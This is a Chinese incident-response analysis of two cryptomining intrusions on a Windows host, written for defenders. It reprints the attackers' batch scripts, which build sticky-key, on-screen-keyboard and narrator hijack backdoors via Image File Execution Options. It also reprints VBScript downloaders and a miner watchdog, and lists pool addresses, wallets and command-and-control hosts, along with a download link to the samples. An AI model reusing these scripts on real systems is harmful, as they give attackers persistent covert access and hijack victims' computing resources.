在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。
fonts目录常被用于藏匿后门的最佳场所
由于不能直接使用资源管理器进行查看,所以我就选择在dos下打印目录结构进行查看。可以看到这个目录下,有各种各样的“非常规文件”
1.ini-6.ini文件的内容他们是:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [19]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [19]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [19]
然后我们继续看该目录下的其他文件
哦买噶的,这个老哥一定是个bat狂魔吧,为什么如此任性。
Aa.bat
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0
Aaa.bat
>>cloud.inf echo.[Version] >>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0
aodd.bat
takeown /f %SystemRoot%\system32\osk.exe /aecho y|cacls %SystemRoot%\system32\osk.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\osk.exe /e /g Users:recho y|cacls %SystemRoot%\system32\osk.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\osk.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\osk.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\osk.exe /e /g system:r%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\lsass.execall %systemroot%\Fonts\Aa.bat%systemroot%\system32\regini 3.ini%systemroot%\regedit /s %systemroot%\Fonts\lsass.regdel %systemroot%\Fonts\lsass.regcall %systemroot%\Fonts\Ss.bat%systemroot%\system32\regini 4.inidel 3.inidel 4.ini@del %sfxcmd%@del "%0" >nul
aodi.bat
takeown /f %SystemRoot%\system32\sethc.exe /aecho y|cacls %SystemRoot%\system32\sethc.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\sethc.exe /e /g Users:recho y|cacls %SystemRoot%\system32\sethc.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\sethc.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\sethc.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\sethc.exe /e /g system:r@echo cd c\:%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\smss.execall %systemroot%\Fonts\AS.bat%systemroot%\system32\regini 1.ini%systemroot%\regedit /s %systemroot%\Fonts\smss.regdel %systemroot%\Fonts\smss.regcall %systemroot%\Fonts\SY.bat%systemroot%\system32\regini 2.inidel 1.inidel 2.ini@del %sfxcmd%@del "%0" >nul
AS.bat
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0
sql.bat
takeown /f %SystemRoot%\system32\narrator.exe /aecho y|cacls %SystemRoot%\system32\narrator.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\narrator.exe /e /g Users:recho y|cacls %SystemRoot%\system32\narrator.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\narrator.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\narrator.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\narrator.exe /e /g system:r%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\sqlser.execall %systemroot%\Fonts\Aaa.bat%systemroot%\system32\regini 5.ini%systemroot%\regedit /s %systemroot%\Fonts\sqlser.regdel %systemroot%\Fonts\sqlser.regcall %systemroot%\Fonts\Sss.bat%systemroot%\system32\regini 6.inidel 5.inidel 6.ini@del %sfxcmd%@del "%0" >nul
这些批处理都在对注册表进行操作
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
想必大家对这个注册表项应该不陌生,没错就是镜像劫持。
镜像劫持简单的说就是,当你打开程序A,运行的确实程序B。
那么上述的几个文件都劫持了那些程序:
第一个sethc.exe///这个是粘滞键的程序 第二个osk.exe///这个是屏幕键盘程序 第三个narrator.exe///这个是讲述人的程序
那就是说,他们留下的后门,其实有一点没太明白,镜像劫持通常debugger来实现的,应该长这样
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]"debugger"="c:\\windows\\system32\\calc.exe"
所以说
MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*
这个劫持的意思是通过编辑组策略导入cloud.inf到组策略中,然后删除相关记录和日志,转储文件,具体导入了什么组策略我也不太清楚啊
然后我们接找看三个注册表文件
lsass.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe]"debugger"="C:\\Windows\\Fonts\\lsass.exe"
smss.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]"debugger"="C:\\Windows\\Fonts\\smss.exe"
sqlser.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe]"debugger"="C:\\Windows\\Fonts\\sqlser.exe"
这三个文件是镜像劫持的正主没错,分别将osk.exe,sethc.exe,narrator.exe劫持到了fonts目录下的lsass.exe,smss.exe,sqlser.exe:
2018c59e591d04f149ffb075abc69e42 lsass.exedf81d89ae883be710a3b98df8a1aecf0 smss.exedf81d89ae883be710a3b98df8a1aecf0 sqlser.exe
三个文件均包含自解压脚本命令,不过令我奇怪的是这三个压缩文件都有密码,启动脚本都是启动任务管理器,匪夷所思。
然后该分析conhost.exe这个文件了,左侧为系统文件,右侧为该恶意文件:
不得不承认,这个文件还是想当具有迷惑性的,接下来是这个文件的行为分析阶段。
杀死任务管理器,杀死rundll32.exe,杀死autoruns.exe,杀死perfmon.exe,杀死procexp.exe,杀死processhacker.exe,修改Fonts目录的属性。
通过杀死安全研究软件,阻止对自身的分析。杀死rundll32.exe应该是杀死别的恶意软件。
停止服务ServiceSais; 然后删除该服务; 杀死进程KvMonXP.exe,(这玩意好像是江民杀毒的程序); 释放文件KvmonXP.exe; 执行KvmonXP.exe。
安装ServiceSais服务,执行KvmonXP.exe,传入参数(矿池,钱包地址)
矿池:max.dllhost.host:443
钱包:
42SgGCdjazjddK45L9AQGyXwZPh7VRRPW47iWG18uvFdQ7sXMAHgnDd1e8pHdu68AHbSaYo2a7x6QCSRjGeM14oZ1RSLVRi
设置服务的显示名 设置服务描述 启动服务
svchost.exe这个文件似乎在整个事件中起这不小的作用,接下来我们就看看这个文件的庐山真面目。
首先这个文件是启动项。
这个文件运行的时候会将自己释放到别的目录下,修改文件属性为系统文件,实现隐藏,重命名后,创建服务实现自启动。
连接mdzz2018.msns.cn的12596端口。
截至现在,Fonts目录下的文件勉强算是结束了。
前面的样本中大量使用bat,可以说bat使用手法还算是娴熟,那么下边的样本让我对作者刮目相看。在ProgrameData目录下。
2.vbs
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with
lang.vbs
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with
tao.vbs
option Explicit dim wmi,proc,procs,proname,flag,WshShell Do proname="lass.exe" set wmi=getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set procs=wmi.execquery("select * from win32_process") flag=true for each proc in procs if strcomp(proc.name,proname)=0 then flag=false exit for end if next set wmi=nothing if flag then Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.Run ("c:\ProgramData\lass.exe") end if wscript.sleep 1000 '检测间隔时间,这里是50秒 loop
vget.vbs
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
可以看到,tao.vbs在不停的循环判断,然后执行lass.exe。
接下来分析一下lass.exe的行为。
释放文件config.json:
"url": "pool.minexmr.com:7777","user": "47CMTqxiPTeZB5dn8DgkPR8ufUA5sbWm1awAAGzAqEcvUzLE7VZZ5eQ1v5ndDyHzYibs6bwa24V2uFaFKLWQW8Wa9nHfU37",
然后随手查了一下这个矿工:
释放可执行文件并执行:
创建开机启动项:
紧接着我们分析它释放的chromes.exe这个文件。
我用沙箱跑了一下,没有发现任何行为,还有壳,不过这个应该是挖矿的主进程,lass是加载器,tao.vbs是守护进程,lass释放配置文件和挖矿主程序进行挖矿:
https://s.threatbook.cn/report/file/f0ad29c7c845689710677de927e4e3ee49054bd19c09710ecef641de34bcd6a6/?env=win7_sp1_enx64_office2013
那么这个目录下的a1.exe,a2.exe,taskger.exe又是做什么的呢?
a1.exe
a1.exe是一个提权的exp,MS16-032
那么a2.exe呢?
taskger.exe
设置自启动,连接到103.248.220.221:8721
除了上述的恶意文件之外,还有一些,我觉得似乎和他们不是一伙的。 从矿池地址可以看出来。
在Fonts目录下比较喜欢使用bat,另外就是有签名,虽然签名不怎么样
在ProgrameData目录下的比较擅长使用vbs,但是文件没有签名,虽然没有签名,却加壳了
剩下的都是零零散散的文件,也不太确定属于哪个系列。
没错,你没有看错这个就是360会员中心,这个文件看上去似乎是用来读密码的,但是我在我的win7试了,好像不行,难道是权限不足?大家可以研究一下。
win64.exe是一个挖矿程序,下图是win64的静态分析,因为确实必要的文件,所以没法动态分析。
以上所讲到的所有的样本我都上传到了一个云盘,方便大家下载研究。
链接:https://pan.baidu.com/s/1TCmYGguB0aE9J3IIxTBAnQ
提取码:oaqr